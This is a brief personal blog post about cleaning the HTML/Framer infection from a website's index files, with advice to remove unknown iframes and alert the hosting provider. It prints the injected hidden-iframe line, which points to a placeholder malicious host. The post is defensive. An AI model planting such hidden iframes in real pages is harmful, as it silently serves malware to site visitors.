Nisi’s work blog

Nisi’s work blog – programing tips

Virus found HTML/Framer

Yesterday my antivirus (AVG 8.5) went craizy all day. After a while I found that HTML/Framer virus is a malicious code inserted in index.php, index.htm, index.html and all pages containing index in his name.

How can you get rid of it? First edit your index files and look for

<iframe src=”http://malicious adress” style=”visibility: hidden; display: none”></iframe>

where http://malicious adress usualy is a .nl adress.
Remove all iframe from your site (the ones you didnt put into pages) and anounce your hosting provider. Virus is on his server.

More info can be found here:

http://www.softpanorama.org/Malware/Malicious_web/malicious_iframe_attack.shtml